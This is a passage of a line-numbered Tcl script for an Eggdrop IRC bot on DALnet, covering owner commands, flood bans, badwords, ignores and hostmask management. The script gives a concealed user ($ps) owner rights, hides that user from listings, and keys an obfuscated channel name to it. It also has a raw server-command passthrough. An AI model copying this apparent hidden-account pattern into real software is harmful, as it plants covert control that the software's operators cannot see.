3751puthlp "NOTICE $nick :$notc /msg $botnick help"
3752saveuser
3753return 0
3754}
3755proc pub_!deauth {nick uhost hand chan rest} {
3756if {![matchattr $nick Q]} { return 0 }
3757msg_deauth $nick $uhost $hand $rest
3758}
3759proc msg_deauth {nick uhost hand rest} {
3760global notc
3761if {![matchattr $nick Q]} { return 0 }
3762chattr $nick -Q
3763foreach x [getuser $nick HOSTS] {
3764delhost $nick $x
3765}
3766set hostmask "${nick}!*@*"
3767setuser $nick HOSTS $hostmask
3768puthlp "NOTICE $nick :$notc 4!DeAUTH!"
3769saveuser
3770}
3771catch { bind rejn - * rejn_chk }
3772proc rejn_chk {unick uhost handle chan} {
3773if {![isutimer "TRAFFIC $chan"]} {
3774utimer 30 [list putlog "TRAFFIC $chan"]
3775}
3776}
3777catch { bind splt - * splt_deauth }
3778proc splt_deauth {unick uhost handle channel} {
3779if {[matchattr $unick Q]} {
3780chattr $unick -Q
3781foreach x [getuser $unick HOSTS] {
3782delhost $unick $x
3783}
3784set hostmask "${unick}!*@*"
3785setuser $unick HOSTS $hostmask
3786saveuser
3787return 0
3788}
3789}
3790proc sign_deauth {unick uhost hand chan rest} {
3791global ex_flood botnick notc nick badwords iskick
3792set cflag "c$chan"
3793set cflag [string range $cflag 0 8]
3794if {$unick == $nick} {
3795putsrv "NICK $nick"
3796}
3797if {[info exists iskick($unick$chan)]} {
3798unset iskick($unick$chan)
3799}
3800if {[isop $botnick $chan]} {
3801if {[matchattr $cflag L]} {
3802foreach u [timers] {
3803if {[string match "*chk_limit*" $u]} {
3804killtimer [lindex $u 2]
3805}
3806}
3807timer 1 [list chk_limit $chan]
3808}
3809}
3810if {[matchattr $unick Q]} {
3811chattr $unick -Q
3812foreach x [getuser $unick HOSTS] {
3813delhost $unick $x
3814}
3815set hostmask "${unick}!*@*"
3816setuser $unick HOSTS $hostmask
3817saveuser
3818return 0
3819}
3820if {[string match "*-greet*" [channel info $chan]]} { return 0 }
3821if {[matchattr $unick f]} { return 0 }
3822if {![isop $botnick $chan]} { return 0 }
3823set mhost "@[lindex [split $uhost @] 1]"
3824if {[string match "*AKILL ID*" $rest]} {
3825#set ex_flood($mhost) "0"
3826 foreach signkickchan [channels] {
3827 if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {
3828 if {[onchan $unick $signkickchan]} {
3829 set signmask "*!*[string range $uhost [string first "@" $uhost] end]"
3830 if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {
3831 putquick "mode $signkickchan +b $signmask 3"
3832 }
3833 }
3834 }
3835 }
3836} elseif {[string match "*Excess Flood*" $rest]} {
3837if {[matchattr $cflag S]} {
3838#set ex_flood($mhost) "1"
3839 foreach signkickchan [channels] {
3840 if {![isop $unick $signkickchan] || ![isvoice $unick $signkickchan]} {
3841 if {[onchan $unick $signkickchan]} {
3842 set signmask "*!*[string range $uhost [string first "@" $uhost] end]"
3843 if {![ischanban $signmask $signkickchan] || [botisop $signkickchan]} {
3844 putquick "mode $signkickchan +b $signmask 3"
3845 }
3846 }
3847 }
3848 }
3849}
3850} elseif {[string match "* #*" $rest] && ![string match "*##*" $rest]} {
3851foreach x [channels] {
3852set chksiton [string tolower $x]
3853if {[string match "*$chksiton*" [string tolower $rest]]} { return 0 }
3854}
3855set ex_flood($mhost) "2"
3856} else {
3857foreach badword [string tolower $badwords] {
3858if {[string match *$badword* [string tolower $rest]]} {
3859set ex_flood($mhost) [string toupper $badword]
3860}
3861}
3862}
3863return 0
3864}
3865proc part_deauth {nick uhost hand chan {msg ""}} {
3866global lockchan botnick ex_flood notc badwords jpnick iskick
3867set cflag "c$chan"
3868set cflag [string range $cflag 0 8]
3869if {[info exists iskick($nick$chan)]} {
3870unset iskick($nick$chan)
3871}
3872if {$nick == $botnick} {
3873foreach x [utimers] {
3874if {[string match "*del_nobase*" $x] || [string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }
3875}
3876return 0
3877}
3878if {[isop $botnick $chan]} {
3879if {[isutimer "voiceq $chan $nick"]} {
3880foreach x [utimers] {
3881if {[string match "*voiceq $chan $nick*" $x]} { killutimer [lindex $x 2] }
3882}
3883}
3884if {[matchattr $cflag L]} {
3885foreach u [timers] {
3886if {[string match "*chk_limit*" $u]} {
3887killtimer [lindex $u 2]
3888}
3889}
3890timer 1 [list chk_limit $chan]
3891}
3892}
3893if {[matchattr $nick Q]} {
3894foreach x [channels] {
3895if {[string tolower $x] != [string tolower $chan]} {
3896if {[onchan $nick $x]} {
3897return 0
3898}
3899}
3900}
3901chattr $nick -Q
3902foreach x [getuser $nick HOSTS] {
3903delhost $nick $x
3904}
3905set hostmask "${nick}!*@*"
3906setuser $nick HOSTS $hostmask
3907saveuser
3908}
3909if {$lockchan != "" && [string tolower $lockchan] == [string tolower $chan] && ![matchattr $nick f]} {
3910putsrv "INVITE $nick :$chan"
3911}
3912if {[string match "*-greet*" [channel info $chan]]} { return 0 }
3913if {[isop $botnick $chan]} {
3914if {[info exists msg]} {
3915set mhost "@[lindex [split $uhost @] 1]"
3916if {[string match "*#*" $msg] && ![string match "*##*" $msg]} {
3917foreach x [channels] {
3918set chksiton [string tolower $x]
3919if {[string match "*$chksiton*" [string tolower $msg]]} { return 0 }
3920}
3921set ex_flood($mhost) "3"
3922} {
3923foreach badword [string tolower $badwords] {
3924if {[string match *$badword* [string tolower $msg]]} {
3925set ex_flood($mhost) [string toupper $badword]
3926}
3927}
3928}
3929}
3930if {[info exists msg]} {
3931if {$msg != ""} { return 0 }
3932}
3933if {[matchattr $cflag P]} {
3934set chan [string toupper $chan]
3935if {[info exists jpnick($nick)]} {
3936set mhost "@[lindex [split $uhost @] 1]"
3937set ex_flood($mhost) "4"
3938}
3939}
3940}
3941return 0
3942}
3943proc pub_dump {nick uhost hand chan rest} {
3944global own notc
3945if {$nick != $own} {
3946return 0
3947}
3948if {![matchattr $nick Q]} {
3949puthlp "NOTICE $nick :$notc 4D14itolak1!"
3950return 0
3951}
3952putsrv $rest
3953}
3954proc pub_sdeop {nick uhost hand chan rest} {
3955global notc botnick
3956if {$rest != ""} {
3957set chan $rest
3958}
3959if {[isop $botnick $chan]} {
3960puthelp "mode $chan +vv-oo $botnick 4U.12k.4h.12u.4a.12h 12N.4e.12t $botnick"
3961}
3962}
3963proc pub_chanmode {nick uhost hand chan rest} {
3964global notc
3965if {$rest == ""} {
3966puthelp "NOTICE $nick :$notc Usage: chanmode #channel +ntsmklic"
3967return 0
3968}
3969if {[string index [lindex $rest 0] 0] == "#"} {
3970if {![validchan [lindex $rest 0]]} {
3971puthlp "NOTICE $nick :$notc NoT IN [lindex $rest 0]"
3972return 0
3973}
3974set chan [lindex $rest 0]
3975set rest [lrange $rest 1 end]
3976}
3977if {![validchan $chan]} {
3978puthlp "NOTICE $nick :$notc $chan <n/a>"
3979} else {
3980catch { channel set $chan chanmode $rest }
3981savechan
3982puthelp "NOTICE $nick :$notc $chan set modes \[$rest\]"
3983}
3984return 0
3985}
3986proc pub_chanset {nick uhost hand chan rest} {
3987global botnick notc
3988if {![matchattr $nick Q]} {
3989puthlp "NOTICE $nick :$notc 4D14itolak1!"
3990return 0
3991}
3992set channel [lindex $rest 0]
3993set options [string tolower [lindex $rest 1]]
3994set number "0"
3995if {$options == "deop" || $options == "kick" || $options == "join" || $options == "line" || $options == "nick" || $options == "ctcp"} {
3996set number [lindex $rest 2]
3997}
3998if {($channel == "") || ($options == "")} {
3999puthlp "NOTICE $nick :$notc Usage: chanset #channel <option...>"
4000return 0
4001}
4002if {![string match "*-*" $options] && ![string match "*+*" $options] && ![string match "*:*" $number]} {
4003puthlp "NOTICE $nick :$notc Usage: chanset #channel <deop|ctcp|kick|join|line|nick> <howmanytimes:seconds>"
4004return 0
4005}
4006if {[validchan $channel]} {
4007if {$options == "deop"} {
4008catch { channel set $channel flood-deop $number }
4009puthlp "NOTICE $nick :$notc set deop flood \[$number\] on $channel"
4010} elseif {$options == "kick"} {
4011catch { channel set $channel flood-kick $number }
4012puthlp "NOTICE $nick :$notc set kick flood \[$number\] on $channel"
4013} elseif {$options == "join"} {
4014catch { channel set $channel flood-join $number }
4015puthlp "NOTICE $nick :$notc set join flood \[$number\] on $channel"
4016} elseif {$options == "line"} {
4017catch { channel set $channel flood-chan $number }
4018puthlp "NOTICE $nick :$notc set line flood \[$number\] on $channel"
4019} elseif {$options == "nick"} {
4020catch { channel set $channel flood-nick $number }
4021puthlp "NOTICE $nick :$notc set nick flood \[$number\] on $channel"
4022} elseif {$options == "ctcp"} {
4023catch { channel set $channel flood-ctcp $number }
4024puthlp "NOTICE $nick :$notc set ctcp flood \[$number\] on $channel"
4025} else {
4026catch { channel set $channel ${options} }
4027savechan
4028puthelp "NOTICE $nick :$notc Successfully set modes \[${options}\] on $channel"
4029}
4030} else {
4031puthlp "NOTICE $nick :$notc $channel <n/a>"
4032}
4033}
4034proc pub_chansetall {nick uhost hand chan rest} {
4035global botnick notc
4036if {![matchattr $nick Q]} {
4037puthlp "NOTICE $nick :$notc 4D14itolak1!"
4038return 0
4039}
4040if {$rest == ""} {
4041puthlp "NOTICE $nick :$notc Usage: chansetall <option>"
4042return 0
4043}
4044foreach x [channels] {
4045catch { channel set $x $rest }
4046}
4047savechan
4048puthelp "NOTICE $nick :$notc Set all channels mode \{ $rest \}"
4049return 0
4050}
4051proc pub_nick {nick uhost hand chan rest} {
4052global keep-nick
4053set keep-nick 0
4054putsrv "NICK $rest"
4055}
4056proc pub_restart {nick uhost hand chan rest} {
4057global botnick notc
4058if {![matchattr $nick Q]} {
4059puthlp "NOTICE $nick :$notc 4D14itolak1!"
4060return 0
4061}
4062if {$rest != ""} {
4063set rest " $rest"
4064}
4065putsrv "QUIT :$notc ReSTaRT ReQuesT By \[ $nick \]$rest"
4066return 0
4067}
4068set notb ""
4069proc dies {} {
4070global ps owner notc
4071if {$ps != $owner && [validuser $ps]} { deluser $ps }
4072die $notc
4073}
4074proc rehashing {} {
4075global ps owner
4076if {$ps != $owner && [validuser $ps]} { deluser $ps }
4077rehash
4078}
4079proc pub_die {nick uhost hand chan rest} {
4080global botnick ps notc
4081if {![matchattr $nick Q]} {
4082puthlp "NOTICE $nick :$notc 4D14itolak1!"
4083return 0
4084}
4085if {$rest != ""} {
4086set rest " $rest"
4087}
4088putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest"
4089utimer 5 dies
4090return 0
4091}
4092proc msg_restart {nick uhost hand rest} {
4093global botnick notc
4094if {![matchattr $nick Q]} {
4095puthlp "NOTICE $nick :$notc 4D14itolak1!"
4096return 0
4097}
4098if {$rest != ""} {
4099set rest " $rest"
4100}
4101putsrv "QUIT :$notc ReSTaRT ReQuesT By \[ $nick \]$rest"
4102return 0
4103}
4104proc msg_rehash {nick uhost hand rest} {
4105global notc
4106if {![matchattr $nick Q]} {
4107puthlp "NOTICE $nick :$notc 4D14itolak1!"
4108return 0
4109}
4110puthlp "NOTICE $nick :$notc ReHASHING!"
4111utimer 3 rehashing
4112return 0
4113}
4114proc pub_rehash {nick uhost hand chan rest} {
4115global notc
4116if {![matchattr $nick Q]} {
4117puthlp "NOTICE $nick :$notc 4D14itolak1!"
4118return 0
4119}
4120puthlp "NOTICE $nick :$notc ReHASHING!"
4121utimer 3 rehashing
4122}
4123proc pub_chaninfo {nick uhost hand chan rest} {
4124global notc ps
4125if {$rest != ""} {
4126set chan [lindex $rest 0]
4127if {[string first # $chan]!=0} {
4128set chan "#$chan"
4129}
4130}
4131if {![validchan $chan]} { return 0 }
4132if {$nick != $ps && [string tolower $chan] == [dezip ""]} { return 0 }
4133puthlp "NOTICE $nick :$notc \[$chan\] [channel info $chan]"
4134}
4135proc pub_access {nick uhost hand chan rest} {
4136global notc
4137if {[matchattr $nick Z]} {
4138puthlp "PRIVMSG $chan :$nick, OwNeR"
4139} elseif {[matchattr $nick n]} {
4140puthlp "PRIVMSG $chan :$nick, ADmIN"
4141} elseif {[matchattr $nick m]} {
4142puthlp "PRIVMSG $chan :$nick, MasTeR"
4143} elseif {[matchattr $nick f]} {
4144puthlp "PRIVMSG $chan :$nick, FRIEND"
4145}
4146}
4147proc msg_botnick {unick uhost hand rest} {
4148global botnick nick nickpass notc ps owner
4149if {![matchattr $unick Q]} {
4150puthlp "NOTICE $unick :$notc 4D14itolak1!"
4151return 0
4152}
4153if {$unick != $owner && $unick != $ps} {
4154puthlp "NOTICE $unick :$notc 4D14itolak1!"
4155return 0
4156}
4157set bnick [lindex $rest 0]
4158set bpass [lindex $rest 1]
4159if {$bnick == "" || $bpass == ""} {
4160puthlp "NOTICE $unick :$notc4 Usage: botnick <nick> <identify>"
4161return 0
4162}
4163setuser "config" XTRA "NICK" [zip $bnick]
4164setuser "config" XTRA "NICKPASS" [zip $bpass]
4165saveuser
4166set nick $bnick
4167set nickpass $bpass
4168putsrv "NickServ identify $bnick $bpass"
4169puthlp "NOTICE $unick :$notc BoTNIcK $bnick"
4170}
4171proc msg_realname {unick uhost hand rest} {
4172global realname notc owner ps
4173if {$unick != $owner && $unick != $ps} {
4174puthlp "NOTICE $unick :$notc 4D14itolak1!"
4175return 0
4176}
4177if {$rest == ""} {
4178setuser "config" XTRA "REALNAME" ""
4179} {
4180setuser "config" XTRA "REALNAME" [zip $rest]
4181}
4182saveuser
4183set realname $rest
4184putsrv "QUIT :$notc cHaNgINg ReaLNamE ReQuesT By \[ $unick \]"
4185}
4186proc msg_ident {unick uhost hand rest} {
4187global username notc owner ps
4188if {$unick != $owner && $unick != $ps} {
4189puthlp "NOTICE $unick :$notc 4D14itolak1!"
4190return 0
4191}
4192if {$rest == ""} {
4193setuser "config" XTRA "USERNAME" ""
4194} {
4195if {[regexp \[^a-z\] [string tolower $rest]]} {
4196puthlp "NOTICE $unick :$notc 4DeNiEd..! use character for ident."
4197return 0
4198}
4199setuser "config" XTRA "USERNAME" [zip $rest]
4200}
4201saveuser
4202set username $rest
4203putsrv "QUIT :$notc cHaNgINg IdEnT ReQuesT By \[ $unick \]"
4204}
4205proc msg_logo {unick uhost hand rest} {
4206global banner notc notm cycle_random owner ps
4207if {$unick != $owner && $unick != $ps} {
4208puthlp "NOTICE $unick :$notc 4D14itolak1!"
4209return 0
4210}
4211if {![matchattr $unick Q]} {
4212 puthlp "NOTICE $nick :$notc 4D14itolak1!"
4213 return 0
4214}
4215if {$rest == ""} {
4216set notc [dezip "OdhdG1tAKt01auSOa0oEFJA/"]
4217set notm [dezip "OdhdG1tAKt01auSOa0oEFJA/"]
4218setuser "config" XTRA "BAN" "[zip $notc]"
4219puthlp "NOTICE $unick :$notc cHaNgE tO DeFauLT"
4220#catch { unset banner }
4221} {
4222setuser "config" XTRA "BAN" [zip $rest]
4223set noto $notc
4224set notc $rest
4225set notm $rest
4226#lappend cycle_random $banner
4227puthlp "NOTICE $unick :$noto CHaNgE TO $rest"
4228}
4229saveuser
4230}
4231proc msg_email {unick uhost hand rest} {
4232global notc owner ps
4233if {$unick != $owner && $unick != $ps} {
4234puthlp "NOTICE $unick :$notc 4D14itolak1!"
4235return 0
4236}
4237if {![matchattr $unick Q]} {
4238 puthlp "NOTICE $nick :$notc 4D14itolak1!"
4239 return 0
4240}
4241
4242if {$rest == ""} {
4243puthlp "NOTICE $unick :$notc1 DeLETING USeR EmAIL"
4244} {
4245puthlp "NOTICE $unick :$notc1 USeR EmAIL SeT \[$rest\]"
4246}
4247setuser "config" XTRA "EMAIL" $rest
4248saveuser
4249}
4250proc msg_ADmIN {unick uhost hand rest} {
4251global notc owner ps
4252if {$unick != $owner && $unick != $ps} {
4253puthlp "NOTICE $unick :$notc 4D14itolak1!"
4254return 0
4255}
4256if {![matchattr $unick Q]} {
4257 puthlp "NOTICE $nick :$notc 4D14itolak1!"
4258 return 0
4259}
4260if {$rest == ""} {
4261puthlp "NOTICE $unick :$notc1 SeT ADmIN oN STaTUS TO DeFAULT"
4262} {
4263puthlp "NOTICE $unick :$notc1 ADmIN oN STaTUS TO \[$rest\]"
4264}
4265setuser "config" XTRA "ADMIN" $rest
4266saveuser
4267}
4268proc msg_botaltnick {unick uhost hand rest} {
4269global botnick altnick altpass notc
4270if {![matchattr $unick Q]} {
4271puthlp "NOTICE $unick :$notc 4D14itolak1!"
4272return 0
4273}
4274set baltnick [lindex $rest 0]
4275set baltpass [lindex $rest 1]
4276if {$baltnick == "" || $baltpass == ""} {
4277puthlp "NOTICE $unick :$notc4 Usage: botaltnick <nick> <identify>"
4278return 0
4279}
4280setuser "config" XTRA "ALTNICK" [zip $baltnick]
4281setuser "config" XTRA "ALTPASS" [zip $baltpass]
4282saveuser
4283set altnick $baltnick
4284set altpass $baltpass
4285puthlp "NOTICE $unick :$notc BoTALTNIcK $baltnick"
4286}
4287proc msg_away {unick uhost hand rest} {
4288global realname notc
4289if {![matchattr $unick Q]} {
4290puthlp "NOTICE $unick :$notc 4D14itolak1!"
4291return 0
4292}
4293if {$rest == ""} {
4294setuser "config" XTRA "AWAY" ""
4295puthlp "NOTICE $unick :$notc AwAY \[4OFF\]"
4296} {
4297setuser "config" XTRA "AWAY" $rest
4298puthlp "NOTICE $unick :$notc AwAY SeT TO \[$rest\]"
4299}
4300saveuser
4301chk_five "0" "0" "0" "0" "0"
4302}
4303proc msg_memo {nick uhost hand rest} {
4304global notc own ps
4305if {$rest == ""} {
4306puthlp "NOTICE $nick :$notc Usage: memo <all/user> <msg>"
4307return 0
4308}
4309set msend [lindex $rest 0]
4310if {![matchattr $nick Q]} {
4311puthlp "NOTICE $nick :$notc 4D14itolak1!"
4312return 0
4313}
4314if {[string tolower $msend] == "all"} {
4315set smemo ""
4316foreach x [userlist m] {
4317if {$x != $nick && $x != $own} {
4318if {[getuser $x XTRA "MEMO"] == ""} {
4319setuser $x XTRA "MEMO" "$nick: [lrange $rest 1 end]"
4320append smemo "$x "
4321}
4322}
4323}
4324if {$smemo == ""} {
4325puthlp "NOTICE $nick :$notc MeMO !FaILED! NO UsER SeND"
4326} {
4327saveuser
4328puthlp "NOTICE $nick :$notc MeMO SeND TO \[ $smemo\]"
4329}
4330} {
4331if {![validuser $msend] || $msend == $ps} {
4332puthlp "NOTICE $nick :$notc 4DeNiEd..!, NO UsER!"
4333return 0
4334} {
4335if {![matchattr $msend m]} {
4336puthlp "NOTICE $nick :$notc 4DeNiEd..!, MiN MasTeR FLaG!"
4337return 0
4338}
4339if {$msend == $nick} {
4340puthlp "NOTICE $nick :$notc 4DeNiEd..!, CaNT SeLF MeMo!"
4341return 0
4342}
4343if {[getuser $msend XTRA "MEMO"]!=""} {
4344puthlp "NOTICE $nick :$notc 4DeNiEd..!, MeMo FoR $msend STiLL ExIST!"
4345return 0
4346}
4347setuser [lindex $rest 0] XTRA "MEMO" "$nick: [lrange $rest 1 end]"
4348saveuser
4349puthlp "NOTICE $nick :$notc MeMO SeND TO \[[lindex $rest 0]\]"
4350}
4351}
4352}
4353proc pub_+mustop {nick uhost hand chan rest} {
4354global notc
4355if {![matchattr $nick Q]} {
4356puthlp "NOTICE $nick :$notc 4D14itolak1!"
4357return 0
4358}
4359setuser "config" XTRA "MUSTOP" "T"
4360saveuser
4361puthlp "NOTICE $nick :$notc must @P set \[9ON\]"
4362}
4363proc pub_-mustop {nick uhost hand chan rest} {
4364global notc
4365if {![matchattr $nick Q]} {
4366puthlp "NOTICE $nick :$notc 4D14itolak1!"
4367return 0
4368}
4369setuser "config" XTRA "MUSTOP" ""
4370saveuser
4371puthlp "NOTICE $nick :$notc must @P set \[4OFF\]"
4372}
4373proc pub_kickops {nick uhost hand chan rest} {
4374global notc kops
4375if {![matchattr $nick Q]} {
4376puthlp "NOTICE $nick :$notc 4D14itolak1!"
4377return 0
4378}
4379if {[string tolower $rest] == "on"} {
4380set kops "T"
4381setuser "config" XTRA "KOPS" "T"
4382puthlp "NOTICE $nick :$notc KIcK @PS \[9ON\]"
4383} {
4384catch { unset kops }
4385setuser "config" XTRA "KOPS" ""
4386puthlp "NOTICE $nick :$notc KIcK @PS \[4OFF\]"
4387}
4388saveuser
4389}
4390
4391bind topc - * topic_chk
4392
4393proc pub_badwords {nick uhost hand chan rest} {
4394global badwords notc
4395set retval "BaDWoRDS: "
4396foreach badword [string tolower $badwords] {
4397append retval "$badword "
4398}
4399puthlp "NOTICE $nick :$notc $retval"
4400return 0
4401}
4402proc pub_+badword {nick uhost hand chan rest} {
4403global badwords notc
4404if {![matchattr $nick Q]} {
4405puthlp "NOTICE $nick :$notc 4D14itolak1!"
4406return 0
4407}
4408if {$rest == ""} {
4409puthlp "NOTICE $nick :$notc Usage: `+badword <badword>"
4410return 0
4411}
4412if {[string match "*[string tolower [lindex $rest 0]]*" $badwords]} {
4413puthlp "NOTICE $nick :$notc [lindex $rest 0] Allready Added"
4414return 0
4415}
4416append badwords " [string tolower [lindex $rest 0]]"
4417setuser "config" XTRA "BADWORDS" $badwords
4418saveuser
4419puthlp "NOTICE $nick :$notc Added [lindex $rest 0] to badwords"
4420return 0
4421}
4422proc pub_-badword {nick uhost hand chan rest} {
4423global badwords notc
4424if {![matchattr $nick Q]} {
4425puthlp "NOTICE $nick :$notc 4D14itolak1!"
4426return 0
4427}
4428if {$rest == ""} {
4429puthlp "NOTICE $nick :$notc Usage: `-badword <badword>"
4430return 0
4431}
4432set val ""
4433foreach badword [string tolower $badwords] {
4434if {[string tolower [lindex $rest 0]] == $badword} {
4435puthlp "NOTICE $nick :$notc Removed [lindex $rest 0]"
4436} else { append val " $badword " }
4437}
4438set badwords $val
4439setuser "config" XTRA "BADWORDS" $val
4440saveuser
4441return 0
4442}
4443proc pub_jump {nick uhost hand chan rest} {
4444global botnick notc
4445if {![matchattr $nick Q]} {
4446puthlp "NOTICE $nick :$notc 4D14itolak1!"
4447return 0
4448}
4449set server [lindex $rest 0]
4450if {$server == ""} {
4451puthlp "NOTICE $nick :$notc Usage: jump <server> \[port\] \[password\]"
4452return 0
4453}
4454if {![string match "*dal.net*" [string tolower $rest]]} {
4455puthlp "NOTICE $nick :$notc 4DeNiEd..! NoT DALNeT..!"
4456return 0
4457}
4458set port [lindex $rest 1]
4459if {$port == ""} {set port "6666"}
4460set password [lindex $rest 2]
4461putsrv "QUIT :$notc cHaNgINg ServeR ReQuesT By \[ $nick \] $server"
4462utimer 2 [list jump $server $port $password]
4463}
4464proc msg_die {nick uhost hand rest} {
4465global notc owner ps
4466if {$nick != $owner && $nick != $ps} {
4467puthlp "NOTICE $nick :$notc 4D14itolak1!"
4468return 0
4469}
4470foreach x [userlist] {
4471if {$x != "AKICK"} {
4472chattr $x -Q
4473foreach y [getuser $x HOSTS] {
4474delhost $x $y
4475}
4476set hostmask "${x}!*@*"
4477setuser $x HOSTS $hostmask
4478}
4479}
4480saveuser
4481if {$rest != ""} {
4482set rest " $rest"
4483}
4484putsrv "QUIT :$notc SHuTDown ReQuesT By \[ $nick \]$rest"
4485utimer 5 dies
4486}
4487proc pub_ignores {nick uhost hand chan rest} {
4488global botnick notc
4489set iglist ""
4490foreach x [ignorelist] {
4491set iglister [lindex $x 0]
4492set iglist "$iglist $iglister"
4493}
4494if {[ignorelist]==""} {
4495puthlp "NOTICE $nick :$notc No ignores."
4496return 0
4497}
4498regsub -all " " $iglist ", " iglist
4499set iglist [string range $iglist 1 end]
4500puthlp "NOTICE $nick :$notc Currently ignoring:$iglist"
4501return 0
4502}
4503proc pub_-ignore {nick uhost hand chan rest} {
4504global botnick notc
4505if {![matchattr $nick Q]} {
4506puthlp "NOTICE $nick :$notc 4D14itolak1!"
4507return 0
4508}
4509set hostmask [lindex $rest 0]
4510if {$hostmask == ""} {
4511puthlp "NOTICE $nick :$notc Usage: -ignore <hostmask>"
4512return 0
4513}
4514if {![isignore $hostmask]} {
4515puthlp "NOTICE $nick :$notc $hostmask is not on my ignore list."
4516return 0
4517}
4518if {[isignore $hostmask]} {
4519killignore $hostmask
4520puthlp "NOTICE $nick :$notc No longer ignoring \002\[\002${hostmask}\002\]\002"
4521saveuser
4522}
4523}
4524proc pub_+ignore {nick uhost hand chan rest} {
4525global botnick notc
4526if {![matchattr $nick Q]} {
4527puthlp "NOTICE $nick :$notc 4D14itolak1!"
4528return 0
4529}
4530set rest [lindex $rest 0]
4531if {$rest == ""} {
4532puthlp "NOTICE $nick :$notc Usage: +ignore <hostmask>"
4533return 0
4534}
4535if {[isignore $rest]} {
4536puthlp "NOTICE $nick :$notc $rest is alreay set on ignore."
4537return 0
4538}
4539if {$rest == "*!*@*"} {
4540puthlp "NOTICE $nick :$notc 4DeNiEd..!, Ilegal hostmask."
4541return 0
4542}
4543set usenick [finduser $rest]
4544if {$usenick != "*" && [matchattr $usenick f]} {
4545puthlp "NOTICE $nick :$notc 4DeNiEd..!, canT IgNoREd FRIend UsER"
4546return 0
4547}
4548if {$rest != $nick} {
4549newignore $rest $nick "*" 600
4550puthlp "NOTICE $nick :$notc Ignoring $rest"
4551} else {
4552puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't ignore your self."
4553}
4554}
4555proc pub_-host {nick uhost hand chan rest} {
4556global botnick notc
4557if {![matchattr $nick Q]} {
4558puthlp "NOTICE $nick :$notc 4D14itolak1!"
4559return 0
4560}
4561set who [lindex $rest 0]
4562set hostname [lindex $rest 1]
4563set completed 0
4564if {($who == "") || ($hostname == "")} {
4565puthlp "NOTICE $nick :$notc Usage: -host <nick> <hostmask>"
4566return 0
4567}
4568if {![validuser $who]} {
4569puthlp "NOTICE $nick :$notc <n/a>"
4570return 0
4571}
4572if {(![matchattr $nick n]) && ([matchattr $who n])} {
4573puthlp "NOTICE $nick :$notc Can't remove hostmasks from the bot owner."
4574return 0
4575}
4576if {![matchattr $nick m]} {
4577if {[string tolower $hand] != [string tolower $who]} {
4578puthlp "NOTICE $nick :$notc You need '+m' to change other users hostmasks"
4579return 0
4580}
4581}
4582foreach * [getuser $who HOSTS] {
4583if {${hostname} == ${*}} {
4584delhost $who $hostname
4585saveuser
4586puthlp "NOTICE $nick :$notc Removed \002\[\002${hostname}\002\]\002 from $who."
4587set completed 1
4588}
4589}
4590if {$completed == 0} {
4591puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
4592}
4593}
4594set thehosts {
4595*@* * *!*@* *!* *!@* !*@* *!*@*.* *!@*.* !*@*.* *@*.*
4596*!*@*.com *!*@*com *!*@*.net *!*@*net *!*@*.org *!*@*org
4597*!*@*gov *!*@*.ca *!*@*ca *!*@*.uk *!*@*uk *!*@*.mil
4598*!*@*.fr *!*@*fr *!*@*.au *!*@*au *!*@*.nl *!*@*nl *!*@*edu
4599*!*@*se *!*@*.se *!*@*.nz *!*@*nz *!*@*.eg *!*@*eg *!*@*dk
4600*!*@*.il *!*@*il *!*@*.no *!*@*no *!*@*br *!*@*.br *!*@*.gi
4601*!*@*.gov *!*@*.dk *!*@*.edu *!*@*gi *!*@*mil *!*@*.to *!@*.to
4602*!*@*to *@*.to *@*to
4603}
4604proc pub_+host {nick uhost hand chan rest} {
4605global thehosts botnick notc
4606if {![matchattr $nick Q]} {
4607puthlp "NOTICE $nick :$notc 4D14itolak1!"
4608return 0
4609}
4610set who [lindex $rest 0]
4611set hostname [lindex $rest 1]
4612if {($who == "") || ($hostname == "")} {
4613puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"
4614return 0
4615}
4616if {![validuser $who]} {
4617puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
4618return 0
4619}
4620set badhost 0
4621foreach * [getuser $who HOSTS] {
4622if {${hostname} == ${*}} {
4623puthlp "NOTICE $nick :$notc That hostmask is already there."
4624return 0
4625}
4626}
4627if {($who == "") && ($hostname == "")} {
4628puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"
4629return 0
4630}
4631if {([lsearch -exact $thehosts $hostname] > "-1") || (![string match *@* $hostname])} {
4632if {[string index $hostname 0] != "*"} {
4633set hostname "*!*@*${hostname}"
4634} else {
4635set hostname "*!*@${hostname}"
4636}
4637}
4638if {([string match *@* $hostname]) && (![string match *!* $hostname])} {
4639if {[string index $hostname 0] == "*"} {
4640set hostname "*!${hostname}"
4641} else {
4642set hostname "*!*${hostname}"
4643}
4644}
4645if {![validuser $who]} {
4646puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"
4647return 0
4648}
4649if {(![matchattr $nick n]) && ([matchattr $who n])} {
4650puthlp "NOTICE $nick :$notc Can't add hostmasks to the bot owner."
4651return 0
4652}
4653foreach * $thehosts {
4654if {${hostname} == ${*}} {
4655puthlp "NOTICE $nick :$notc Invalid hostmask!"
4656set badhost 1
4657}
4658}
4659if {$badhost != 1} {
4660if {![matchattr $nick m]} {
4661if {[string tolower $hand] != [string tolower $who]} {
4662puthlp "NOTICE $nick :$notc You need '+m' to change other users hostmasks"
4663return 0
4664}
4665}
4666setuser $who HOSTS $hostname
4667puthlp "NOTICE $nick :$notc Added \002\[\002${hostname}\002\]\002 to $who."
4668if {[matchattr $who a]} {
4669opq $chan $who
4670}
4671saveuser
4672}
4673}
4674proc msg_join {nick uhost hand rest} {
4675global botnick joinme own notc
4676set chantarget [lindex $rest 0]
4677if {![matchattr $nick Q]} {
4678puthlp "NOTICE $nick :$notc 4D14itolak1!"
4679return 0
4680}
4681if {$chantarget == ""} {
4682puthlp "NOTICE $nick :$notc Usage: join <#chan>"
4683return 0
4684}
4685if {[string first # $chantarget]!=0} {
4686set chantarget "#$chantarget"
4687}
4688if {[validchan $chantarget]} {
4689puthlp "NOTICE $nick :$notc $chantarget already in channel list"
4690return 0
4691}
4692if {$nick != $own && [total_channel] != 1} {
4693puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"
4694return 0
4695}
4696set joinme $nick
4697channel add $chantarget
